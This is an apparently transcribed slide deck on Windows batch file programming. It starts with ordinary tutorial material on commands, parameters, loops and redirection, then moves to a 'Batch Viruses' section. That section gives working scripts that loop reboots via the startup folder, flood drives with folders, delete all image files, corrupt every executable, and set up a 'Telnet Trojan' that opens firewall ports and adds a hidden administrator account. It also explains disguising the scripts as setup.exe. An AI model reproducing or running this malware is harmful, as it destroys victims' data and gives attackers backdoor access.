Batch programming and Viruses

#Batch programming and Viruses

1. A START TO BATCH FILE PROGRAMMING BY:- AKSHAY SAINI [phone] [email protected]

2. Introduction Batch file programming is nothing but the Windows version of Unix Shell Programming. Or Batch file programming is the native programming offered by the Microsoft Windows Operating System. Batch file is created using any text editors like notepad, WordPad, WinWord or so on, which comprises of a sequence of built-in commands used to perform some often done tasks like deleting a series of files of same type or of different type, creating logs, clearing unwanted craps from your computer and even for creating a batch VIRUS.

3. M odes that are supported by DOS Interactive Mode In interactive mode, when a command is executed, it interacts with the user for input and depending upon the input supplied by the user, the further processes are carried out. For example, let’s take the ‘del’ command. C :\>del a C :\a\*, Are you sure (Y/N)? y Batch Mode (Silent Mode) Batch mode can also be referred as ‘ ‘ Quiet Mode’ , and this is opposite to the interactive mode. The command that operates at batch mode will never interact with the user at any instance, instead it will take care of every operation by itself. For example, using the same ‘del’ command & switch ‘/Q’ (Quite mode). C:\>del /Q a C:\>

4. Command

5. T ypes of commands that we can run from a command prompt Internal Commands Internal commands are nothing but the built-in commands that are shipped along with the operating system. F or example, echo, cls, del, dir were few of the well known internal commands . External Commands External commands are the commands that are often created while installing a new application and these commands mostly have no use except calling that application and support files. Few external commands can only be executed in the ‘Run’ dialog box, but not on the command prompt. E.g firefox For example, move, find, backup, undelete, format.

6. Why BATCH???

7. So why do I need Batch File Programs? Say you need to execute a set of commands over and over again to perform a routine task like Backing up Important Files , Deleting temporary files(*.tmp, .bak , ~.* etc) then it is very difficult to type the same set of commands over and over again . To perform a bulk set of same commands over and over again, Batch files are used. Batch Files are to DOS what Macros are to Microsoft Office and are used to perform an automated predefined set of tasks over and over again.

8. Lets take an example…… .BAT File ECHO This Batch File deletes all unwanted Temporary files from your system ECHO Now we go to the Windows\temp directory . cd windows\temp ECHO Deleting unwanted temporary files .... del *. tmp ECHO Your System is Now Clean

9. Now let's see what happens when we execute the above snippet of batch code . C :\WINDOWS>batch_file_name C:\WINDOWS>ECHO This Batch File deletes all unwanted Temporary files from your system C:\WINDOWS>ECHO Now we go to the Windows\temp directory. Now we go to the Windows\temp directory. C:\WINDOWS>cd windows\temp Invalid directory C:\WINDOWS>ECHO Deleting unwanted temporary files Deleting unwanted temporary files... C:\WINDOWS>del *.tmp C:\WINDOWS>ECHO Your System is Now Clean Your System is Now Clean Continue…

10. How to create a Batch Program ? Like any other programing languages, lets start our first program with the ‘Hello World’ program. 1. Open up a notepad and type the following. @echo off Echo Hello World pause 2. Save the file with any name you wish, but make sure that you save the file extension with .bat, like ‘first.bat’. 3. Just double click to execute the batch file that you have created now. 4 . And you are done!

11. Basic Commands   Echo Pause Dir Rem Cd Mkdir Del Start Exit If For Goto Cls Call

12. Passing Parameters (%0 - %9) To understand how parameters work, look at the following script: @ ECHO OFF ECHO First Parameter is %1 ECHO Second Parameter is %2 ECHO Third Parameter is %3 This batch file produces the following result: C:\windows>batch_file_name abc def ghi First Parameter is abc Second Parameter is def Third Parameter is ghi

13. SHIFT command look at the following snippet of code: @ ECHO OFF ECHO The first Parameter is %1 ECHO . SHIFT ECHO The Second Parameter is %1 ECHO . SHIFT ECHO The Second Parameter is %1 Now execute this batch file from DOS and see what happens: C:\windows>batch_file_name abc def ghi The first Parameter is abc The Second Parameter is def The Second Parameter is ghi

14. .BAT File: @ ECHO OFF CD\ CD %1 DEL %2 In Command Prompt: C :\windows>batch_file_name windows\temp *. tmp Disk Clean-up Utility

15. LOOP

16. The FOR Loop The syntax of the FOR LOOP is: FOR %% PARAMETER IN(set) DO command Ex: @ECHO OFF CLS FOR %%A IN (abc, def, xyz) DO ECHO %%A

17. Let’s take another example….. .BAT FILE @ECHO OFF ECHO . ECHO I am going to delete the following files: ECHO %1 %2 ECHO . ECHO Press Ctrl+C to Abort process PAUSE FOR %%a IN (%1 %2 ) DO DEL %%a ECHO Killed Files. Mission Accomplished . At execution time, the process would be something like: C :\WINDOWS>batchfilename *.tmp *.bak I am going to delete the following files: *. tmp *.bak Press Ctrl+C to Abort process Press any key to continue . . . Killed Files. Mission Accomplished .

18. IF

19. IF: CONDITIONAL BRANCHING IF EXIST FILENAME Command @echo off IF EXIST C:\ akshay.doc GOTO AKSHAY GOTO end :AKSHAY ECHO AKSHAY :end IF EXIST c:\autoexec.bat IF EXIST c:\autoexec.bak ECHO Both Exist IF NOT EXIST FILENAME Command IF NOT EXIST c:\somedir\somefile.dat ECHO File c:\somedir\somefile.dat does not exist!

20. NULL

21. NULL device The NULL device is basically nothing, it actually stands for simply nothing . Each directory has the NULL device present in it. (At least DOS thinks so .) So to check if c:\windows exits, simply type: IF EXIST c:\windows\nul ECHO c:\Windows exists.

22. Redirection Operators < > ~

23. Redirection Operators ‘>’Output Redirection Operator To send the Output to somewhere other than the screen we use the Output Redirection Operator, > which is most commonly used to capture results of a command in a text file . Example: c :\windows> dir *.* > abc.txt ‘<‘ Input Redirection Operator It is most commonly used to send the contents of a text file to DOS. The other common usage of this feature is the MORE command which displays a file one screen at a time unlike the TYPE command which on execution displays the entire file . Example: c :\windows>more < xyz.txt

24. Piping | |

25. PIPING Piping is a feature which combines both Input and Output Redirection. It uses the Pipe operator, which is the| symbol. This command captures the Output of one command and sends it as the Input of the other command. Say for example, when you give the command del *.* then you need to confirm that you mean to delete all files by pressing y. Instead we can simply do the same without any User Interaction by giving the command : c :\windows> echo y | del *.* This command is pretty self explanatory, y is sent to the command del *.*

26. Batch Viruses

27. Many Folders This code creates 1000’s of folders with number naming. Code: ---------------------------------------------------------------------- :e md %random% goto e ----------------------------------------------------------------------

28. Undeletable Folder with Your Name :y md c:\documents and s ettings\users\desktop\akshay md c :\akshay md d :\akshay md e :\akshay md f :\akshay md g :\akshay md h :\akshay goto y

29. System Restart V irus This batch file code is restarts system when it starts Code: --------------------------------------------------------------------------------------------- echo shutdown –r –f –t 00 > shut.bat move shut.bat C:\"Documents and Settings"\"All Users"\"Start Menu"\Programs\Startup ---------------------------------------------------------------------------------------------- Copy the above code and paste in notepad by name anything.bat and runs on any Pc then after next restart the system will never starts and automatically restarts.

30. For Loop Viruses

31. For loop viruses 1 This code creates messages on desktop showing files are corrupted. ---------------------------------------------------------------------------------------------- Code: For /r c:\ %%y in (*.*) do msg * %%y ------ is Corrupted. it not actually corrupts the file it shows only messages ---------------------------------------------------------------------------------------------- Note: conversion into exe is required.

32. For loop viruses 2 (Damage level : High ) This code will remove all images, wallpapers from your system. Warning! -- Try it on your own risk. Code: for /r c:\ %%y in (*.jpg,*. png ,*.gif,*. ico ) do del %%y /s/q for /r d:\ %%y in (*.jpg,*. png ,*.gif,*. ico ) do del %%y /s/q for /r e:\ %%y in (*.jpg,*. png ,*.gif,*. ico ) do del %%y /s/q for /r f:\ %%y in (*.jpg,*. png ,*.gif,*. ico ) do del %%y /s/q Note: conversion into exe is required.

33. For loop viruses 3 (Damage level : High ) This code will corrupt all exe files of your system. Warning! -- Try it on your own risk. Code: echo you lost all !!!! >c:\tempero.null for /r c:\ %%y in (*.exe) do copy c:\temporal.null + %%y %%y for /r d:\ %%y in (*.exe) do copy c:\temporal.null + %%y %%y for /r e:\ %%y in (*.exe) do copy c:\temporal.null + %%y %%y for /r f:\ %%y in (*.exe) do copy c:\temporal.null + %%y %%y del c:\tempero.null /s/q Note: conversion into exe is required.

34. Telnet Trojan Work as Remote Administrator tool with the use of telnet. @echo off sc config tlntsvr start= auto net start tlntsvr netsh firewall add portopening TCP 23 "Telnet" sc config termservice start= auto net start termservice netsh firewall add portopening TCP 3389 "Remote Desktop" net user Default 12345 /add net localgroup administrators Default / add

35. Making Viruses Smart

36. Firstly copy all these coding into the notepad and name them anything with .bat extention . Now converts this .bat file into .exe file with the help of Bat to Exe converter. This is the software which helps us to hide the cmd coding and runs the process in background. BAT EXE

37. Finishing Virus Coding Mixing process. .bat .exe setup.exe

38. OR

39. Thank You!!! Keep Coding….